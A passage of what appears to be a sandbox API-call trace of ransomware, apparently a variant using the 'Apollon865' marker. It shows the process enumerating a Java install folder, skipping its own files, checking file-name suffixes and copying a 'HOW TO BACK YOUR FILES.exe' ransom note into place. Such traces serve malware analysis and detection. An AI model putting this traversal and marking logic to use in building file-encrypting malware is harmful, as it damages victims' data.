	[0054.314] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bcb18
	[0054.314] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0054.314] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0054.314] lstrcmpiW (lpString1="LICENSE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.315] lstrcmpiW (lpString1="LICENSE", lpString2="Apollon865.txt.exe") returned 1
	[0054.315] lstrcmpiW (lpString1="LICENSE", lpString2=".") returned 1
	[0054.315] lstrcpyW (in: lpString1=0x2d3e592, lpString2="LICENSE" | out: lpString1="LICENSE") returned="LICENSE"
	[0054.315] lstrlenW (lpString="LICENSE") returned 7
	[0054.315] lstrlenW (lpString="Apollon865") returned 10
	[0054.315] lstrcpyW (in: lpString1=0x2d3e592, lpString2="README.txt" | out: lpString1="README.txt") returned="README.txt"
	[0054.315] lstrlenW (lpString="README.txt") returned 10
	[0054.315] lstrlenW (lpString="Apollon865") returned 10
	[0054.315] lstrcpyW (in: lpString1=0x2d3e592, lpString2="release" | out: lpString1="release") returned="release"
	[0054.315] lstrlenW (lpString="release") returned 7
	[0054.315] lstrlenW (lpString="Apollon865") returned 10
	[0054.315] lstrcpyW (in: lpString1=0x2d3e592, lpString2="THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="THIRDPARTYLICENSEREADME-JAVAFX.txt"
	[0054.315] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34
	[0054.315] lstrlenW (lpString="Apollon865") returned 10
	[0054.315] lstrcmpiW (lpString1="JAVAFX.txt", lpString2="Apollon865") returned 1
	[0054.315] lstrcpyW (in: lpString1=0x2d3e592, lpString2="THIRDPARTYLICENSEREADME.txt" | out: lpString1="THIRDPARTYLICENSEREADME.txt") returned="THIRDPARTYLICENSEREADME.txt"
	[0054.315] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27
	[0054.315] lstrlenW (lpString="Apollon865") returned 10
	[0054.315] lstrcmpiW (lpString1="README.txt", lpString2="Apollon865") returned 1
	[0054.315] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Welcome.html" | out: lpString1="Welcome.html") returned="Welcome.html"
	[0054.315] lstrlenW (lpString="Welcome.html") returned 12
	[0054.315] lstrlenW (lpString="Apollon865") returned 10
	[0054.315] lstrcmpiW (lpString1="lcome.html", lpString2="Apollon865") returned 1
	[0054.315] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib"
	[0054.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0054.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0054.316] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib") returned 36
	[0054.316] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib"
	[0054.316] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.316] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.322] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.322] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38720650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38720650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.323] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.323] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.324] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="accessibility.properties" | out: lpString1="accessibility.properties") returned="accessibility.properties"
	[0054.324] lstrlenW (lpString="accessibility.properties") returned 24
	[0054.324] lstrlenW (lpString="Apollon865") returned 10
	[0054.324] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0054.325] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="alt-rt.jar" | out: lpString1="alt-rt.jar") returned="alt-rt.jar"
	[0054.325] lstrlenW (lpString="alt-rt.jar") returned 10
	[0054.325] lstrlenW (lpString="Apollon865") returned 10
	[0054.325] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="applet" | out: lpString1="applet") returned="applet"
	[0054.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0054.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x598468
	[0054.325] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0054.325] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1
	[0054.325] lstrcmpiW (lpString1="calendars.properties", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.325] lstrcmpiW (lpString1="calendars.properties", lpString2="Apollon865.txt.exe") returned 1
	[0054.325] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="calendars.properties" | out: lpString1="calendars.properties") returned="calendars.properties"
	[0054.325] lstrlenW (lpString="calendars.properties") returned 20
	[0054.325] lstrlenW (lpString="Apollon865") returned 10
	[0054.325] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0054.325] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="charsets.jar" | out: lpString1="charsets.jar") returned="charsets.jar"
	[0054.325] lstrlenW (lpString="charsets.jar") returned 12
	[0054.325] lstrlenW (lpString="Apollon865") returned 10
	[0054.325] lstrcmpiW (lpString1="arsets.jar", lpString2="Apollon865") returned 1
	[0054.325] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="classlist" | out: lpString1="classlist") returned="classlist"
	[0054.325] lstrlenW (lpString="classlist") returned 9
	[0054.325] lstrlenW (lpString="Apollon865") returned 10
	[0054.325] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="cmm" | out: lpString1="cmm") returned="cmm"
	[0054.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0054.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5984c8
	[0054.325] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b70
	[0054.325] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1
	[0054.326] lstrcmpiW (lpString1="content-types.properties", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.326] lstrcmpiW (lpString1="content-types.properties", lpString2="Apollon865.txt.exe") returned 1
	[0054.326] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="content-types.properties" | out: lpString1="content-types.properties") returned="content-types.properties"
	[0054.326] lstrlenW (lpString="content-types.properties") returned 24
	[0054.326] lstrlenW (lpString="Apollon865") returned 10
	[0054.326] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0054.326] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="currency.data" | out: lpString1="currency.data") returned="currency.data"
	[0054.326] lstrlenW (lpString="currency.data") returned 13
	[0054.326] lstrlenW (lpString="Apollon865") returned 10
	[0054.326] lstrcmpiW (lpString1="rency.data", lpString2="Apollon865") returned 1
	[0054.326] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="deploy" | out: lpString1="deploy") returned="deploy"
	[0054.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0054.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x598528
	[0054.326] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0054.326] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75246c40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x75246c40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75305320, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x449777, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1
	[0054.326] lstrcmpiW (lpString1="deploy.jar", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.326] lstrcmpiW (lpString1="deploy.jar", lpString2="Apollon865.txt.exe") returned 1
	[0054.326] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="deploy.jar" | out: lpString1="deploy.jar") returned="deploy.jar"
	[0054.326] lstrlenW (lpString="deploy.jar") returned 10
	[0054.326] lstrlenW (lpString="Apollon865") returned 10
	[0054.326] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="ext" | out: lpString1="ext") returned="ext"
	[0054.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0054.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x598588
	[0054.326] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0054.326] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1
	[0054.326] lstrcmpiW (lpString1="flavormap.properties", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.327] lstrcmpiW (lpString1="flavormap.properties", lpString2="Apollon865.txt.exe") returned 1
	[0054.327] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="flavormap.properties" | out: lpString1="flavormap.properties") returned="flavormap.properties"
	[0054.327] lstrlenW (lpString="flavormap.properties") returned 20
	[0054.327] lstrlenW (lpString="Apollon865") returned 10
	[0054.327] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0054.327] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="fontconfig.bfc" | out: lpString1="fontconfig.bfc") returned="fontconfig.bfc"
	[0054.327] lstrlenW (lpString="fontconfig.bfc") returned 14
	[0054.327] lstrlenW (lpString="Apollon865") returned 10
	[0054.327] lstrcmpiW (lpString1="config.bfc", lpString2="Apollon865") returned 1
	[0054.327] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="fontconfig.properties.src" | out: lpString1="fontconfig.properties.src") returned="fontconfig.properties.src"
	[0054.327] lstrlenW (lpString="fontconfig.properties.src") returned 25
	[0054.327] lstrlenW (lpString="Apollon865") returned 10
	[0054.327] lstrcmpiW (lpString1="erties.src", lpString2="Apollon865") returned 1
	[0054.327] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="fonts" | out: lpString1="fonts") returned="fonts"
	[0054.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0054.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x5985e8
	[0054.327] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0054.327] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38720650, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x38720650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.327] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.327] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="i386", cAlternateFileName="")) returned 1
	[0054.327] lstrcmpiW (lpString1="i386", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.327] lstrcmpiW (lpString1="i386", lpString2="Apollon865.txt.exe") returned 1
	[0054.327] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="i386" | out: lpString1="i386") returned="i386"
	[0054.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0054.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598648
	[0054.327] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0054.327] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0054.328] lstrcmpiW (lpString1="images", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.328] lstrcmpiW (lpString1="images", lpString2="Apollon865.txt.exe") returned 1
	[0054.328] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="images" | out: lpString1="images") returned="images"
	[0054.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0054.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x5986a8
	[0054.328] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0054.328] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1
	[0054.328] lstrcmpiW (lpString1="javafx.properties", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.328] lstrcmpiW (lpString1="javafx.properties", lpString2="Apollon865.txt.exe") returned 1
	[0054.328] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="javafx.properties" | out: lpString1="javafx.properties") returned="javafx.properties"
	[0054.328] lstrlenW (lpString="javafx.properties") returned 17
	[0054.328] lstrlenW (lpString="Apollon865") returned 10
	[0054.328] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0054.328] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="javaws.jar" | out: lpString1="javaws.jar") returned="javaws.jar"
	[0054.328] lstrlenW (lpString="javaws.jar") returned 10
	[0054.328] lstrlenW (lpString="Apollon865") returned 10
	[0054.328] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jce.jar" | out: lpString1="jce.jar") returned="jce.jar"
	[0054.328] lstrlenW (lpString="jce.jar") returned 7
	[0054.328] lstrlenW (lpString="Apollon865") returned 10
	[0054.328] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jfr" | out: lpString1="jfr") returned="jfr"
	[0054.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0054.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x598708
	[0054.328] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0054.328] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8204f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1
	[0054.328] lstrcmpiW (lpString1="jfr.jar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.328] lstrcmpiW (lpString1="jfr.jar", lpString2="Apollon865.txt.exe") returned 1
	[0054.329] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jfr.jar" | out: lpString1="jfr.jar") returned="jfr.jar"
	[0054.329] lstrlenW (lpString="jfr.jar") returned 7
	[0054.329] lstrlenW (lpString="Apollon865") returned 10
	[0054.329] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jfxrt.jar" | out: lpString1="jfxrt.jar") returned="jfxrt.jar"
	[0054.329] lstrlenW (lpString="jfxrt.jar") returned 9
	[0054.329] lstrlenW (lpString="Apollon865") returned 10
	[0054.329] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jsse.jar" | out: lpString1="jsse.jar") returned="jsse.jar"
	[0054.329] lstrlenW (lpString="jsse.jar") returned 8
	[0054.329] lstrlenW (lpString="Apollon865") returned 10
	[0054.329] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="jvm.hprof.txt" | out: lpString1="jvm.hprof.txt") returned="jvm.hprof.txt"
	[0054.329] lstrlenW (lpString="jvm.hprof.txt") returned 13
	[0054.329] lstrlenW (lpString="Apollon865") returned 10
	[0054.329] lstrcmpiW (lpString1=".hprof.txt", lpString2="Apollon865") returned -1
	[0054.329] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="logging.properties" | out: lpString1="logging.properties") returned="logging.properties"
	[0054.329] lstrlenW (lpString="logging.properties") returned 18
	[0054.329] lstrlenW (lpString="Apollon865") returned 10
	[0054.329] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0054.329] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="management" | out: lpString1="management") returned="management"
	[0054.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0054.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c55f8
	[0054.329] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0054.329] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x181, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1
	[0054.329] lstrcmpiW (lpString1="management-agent.jar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.329] lstrcmpiW (lpString1="management-agent.jar", lpString2="Apollon865.txt.exe") returned 1
	[0054.329] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="management-agent.jar" | out: lpString1="management-agent.jar") returned="management-agent.jar"
	[0054.330] lstrlenW (lpString="management-agent.jar") returned 20
	[0054.330] lstrlenW (lpString="Apollon865") returned 10
	[0054.330] lstrcmpiW (lpString1="-agent.jar", lpString2="Apollon865") returned -1
	[0054.330] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="meta-index" | out: lpString1="meta-index") returned="meta-index"
	[0054.330] lstrlenW (lpString="meta-index") returned 10
	[0054.330] lstrlenW (lpString="Apollon865") returned 10
	[0054.330] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="net.properties" | out: lpString1="net.properties") returned="net.properties"
	[0054.330] lstrlenW (lpString="net.properties") returned 14
	[0054.330] lstrlenW (lpString="Apollon865") returned 10
	[0054.330] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0054.330] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="plugin.jar" | out: lpString1="plugin.jar") returned="plugin.jar"
	[0054.330] lstrlenW (lpString="plugin.jar") returned 10
	[0054.330] lstrlenW (lpString="Apollon865") returned 10
	[0054.330] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="psfont.properties.ja" | out: lpString1="psfont.properties.ja") returned="psfont.properties.ja"
	[0054.330] lstrlenW (lpString="psfont.properties.ja") returned 20
	[0054.330] lstrlenW (lpString="Apollon865") returned 10
	[0054.330] lstrcmpiW (lpString1="perties.ja", lpString2="Apollon865") returned 1
	[0054.330] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="psfontj2d.properties" | out: lpString1="psfontj2d.properties") returned="psfontj2d.properties"
	[0054.330] lstrlenW (lpString="psfontj2d.properties") returned 20
	[0054.330] lstrlenW (lpString="Apollon865") returned 10
	[0054.330] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0054.330] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="resources.jar" | out: lpString1="resources.jar") returned="resources.jar"
	[0054.330] lstrlenW (lpString="resources.jar") returned 13
	[0054.330] lstrlenW (lpString="Apollon865") returned 10
	[0054.331] lstrcmpiW (lpString1="ources.jar", lpString2="Apollon865") returned 1
	[0054.331] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="rt.jar" | out: lpString1="rt.jar") returned="rt.jar"
	[0054.331] lstrlenW (lpString="rt.jar") returned 6
	[0054.331] lstrlenW (lpString="Apollon865") returned 10
	[0054.331] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="security" | out: lpString1="security") returned="security"
	[0054.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0054.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5458
	[0054.331] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0054.331] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1
	[0054.331] lstrcmpiW (lpString1="sound.properties", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.331] lstrcmpiW (lpString1="sound.properties", lpString2="Apollon865.txt.exe") returned 1
	[0054.331] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="sound.properties" | out: lpString1="sound.properties") returned="sound.properties"
	[0054.331] lstrlenW (lpString="sound.properties") returned 16
	[0054.331] lstrlenW (lpString="Apollon865") returned 10
	[0054.331] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0054.331] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="tzmappings" | out: lpString1="tzmappings") returned="tzmappings"
	[0054.331] lstrlenW (lpString="tzmappings") returned 10
	[0054.331] lstrlenW (lpString="Apollon865") returned 10
	[0054.331] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="zi" | out: lpString1="zi") returned="zi"
	[0054.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0054.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcb18
	[0054.331] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
